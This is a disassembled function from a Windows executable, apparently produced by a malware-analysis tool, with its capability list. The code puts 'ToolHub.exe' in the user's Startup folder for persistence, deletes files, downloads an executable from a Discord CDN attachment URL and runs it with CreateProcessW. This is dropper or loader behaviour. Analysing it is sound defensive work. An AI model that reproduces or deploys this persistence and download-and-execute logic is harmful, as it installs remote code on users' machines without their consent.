Function at 0x1400116e0
Capabilities:
Check if file exists
Copy file
Create process on windows
Delete file
Get file attributes
Terminate process

Disassembly:
jmp 0x14001cc30
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x7f8
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x15a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x818]
mov rax, qword [0x14002e018]
xor rax, rbp
mov qword [rbp + 0x798], rax
lea rcx, [0x1400350f8]
call fcn.140011965
lea rax, [0x140011762]
test rax, rax
je 0x14001d038
lea rax, str.ToolHub.exe
mov qword [rbp + 8], rax
lea rax, str.C:Users_USERNAME_AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup_
mov qword [rbp + 0x28], rax
mov rdx, qword [rbp + 0x28]
lea rcx, [rbp + 0x768]
call fcn.1400112fd
mov r8, qword [rbp + 8]
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.140011591
lea rcx, [rbp + 0x768]
call fcn.14001182a
lea rcx, [rbp + 0x48]
call fcn.14001130c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x14001cd79
lea rcx, [rbp + 0x48]
call fcn.14001130c
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x14001cd37
lea rdx, str.Application_added_to_startup.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011118
lea rdx, [0x14001105a]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14001cd77
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x794], eax
lea rdx, str.Failed_to_add_application_to_startup._Error_code:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011118
mov ecx, dword [rbp + 0x794]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x14001105a]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14001cd9c
lea rdx, str.Application_is_already_in_startup.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011118
lea rdx, [0x14001105a]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rax, [0x1400293e0]
mov qword [rbp + 0x88], rax
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14001ce32
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x14001cdf2
lea rdx, str.File_deleted_successfully.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011118
lea rdx, [0x14001105a]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14001ce32
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x794], eax
lea rdx, str.Failed_to_delete_file._Error_code:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011118
mov ecx, dword [rbp + 0x794]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x14001105a]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8d, 0x104
lea rdx, [rbp + 0xb0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rax, str.C:WindowsToolHub.exe
mov qword [rbp + 0x2d8], rax
mov edx, 0x110
lea rcx, [rbp + 0x300]
call fcn.140011677
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 1
mov rdx, qword [rbp + 0x2d8]
lea rcx, [rbp + 0x300]
call fcn.1400118b6
mov rax, qword [rbp + 0x300]
movsxd rax, dword [rax + 4]
lea rax, [rbp + rax + 0x300]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_bool___cdecl_std::ios_base::good_void_const___ptr64]
movzx eax, al
test eax, eax
je 0x14001cf2a
lea rcx, [rbp + 0x300]
call fcn.140011537
mov rcx, qword [rbp + 0x2d8]
call qword [sym.imp.ucrtbased.dll_remove]
test eax, eax
jne 0x14001cefa
lea rdx, str.File_deleted_successfully.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011118
lea rdx, [0x14001105a]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
jmp 0x14001cf28
lea rdx, str.Error_deleting_the_file.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011118
lea rdx, [0x14001105a]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_exit]
jmp 0x14001cf4d
lea rdx, str.File_does_not_exist.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011118
lea rdx, [0x14001105a]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rax, str.https:__cdn.discordapp.com_attachments_1152573138534678540_1157739982241398915_ToolHub.exe_ex6519b4e1is65186361hm30a406c1f06a309b23094e6998ade95d12adebfc8653a314f2a97281771aebc0
mov qword [rbp + 0x428], rax
lea rax, [0x1400293e0]
mov qword [rbp + 0x448], rax
mov rdx, qword [rbp + 0x448]
mov rcx, qword [rbp + 0x428]
call fcn.1400118a2
movzx eax, al
test eax, eax
je 0x14001d023
mov dword [rbp + 0x470], 0x68
lea rax, [rbp + 0x478]
mov rdi, rax
xor eax, eax
mov ecx, 0x60
rep stosb byte [rdi], al
lea rax, [rbp + 0x4f8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x470]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x448]
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x14001d023
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x4f8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x4f8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x500]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x300]
call fcn.140011172
lea rcx, [rbp + 0x48]
call fcn.14001182a
lea rcx, [rbp - 0x50]
lea rdx, [0x140027e30]
call fcn.1400117cb
mov rcx, qword [rbp + 0x798]
xor rcx, rbp
call fcn.140011479
lea rsp, [rbp + 0x7a8]
pop rdi
pop rbp
ret